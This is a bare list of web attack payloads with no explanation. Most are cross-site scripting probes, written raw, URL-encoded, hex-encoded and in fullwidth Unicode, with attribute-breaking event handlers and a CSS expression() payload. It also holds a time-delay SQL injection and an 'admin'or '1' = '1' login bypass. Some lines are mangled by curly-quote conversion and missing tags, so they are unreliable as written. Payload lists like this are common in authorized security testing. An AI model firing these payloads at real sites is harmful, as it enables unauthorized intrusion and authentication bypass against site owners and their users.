/*! alert(XSS); */

%0A%22%3E%3Cscript%3Ealert(444)%3C%2Fscript%3E
“> alert(888)
“> alert(document.domain)
<%script>alert(‘XSS’)<%/script>

%uff1cscript%uff1ealert(9);%uff1c/script%uff1e

‘/> alert(‘111111’)

<%tag style=”xss:expression(alert(‘XSS’))”>

‘ onmouseover=prompt(929623) bad=’

%0A%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%35%34%34%34%29%3C%2F%73%63%72%69%70%74%3E

1
1
‘>>

alert(XSS)

”;!–“=&{()}

“onmouseover=prompt(959295)>

“%20onmouseover=prompt(908001)%20bad=”

Click me

Click me
“0′; waitfor delay ‘0:0:25’ –

admin’or ‘1’ = ‘1’

alert(“XSS”);

\

"><script>alert(444)</script>

%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%32%33%29%3C%2F%73%63%72%69%70%74%3E

223E3C7363726970743E616C65727428343434293C2F7363726970743E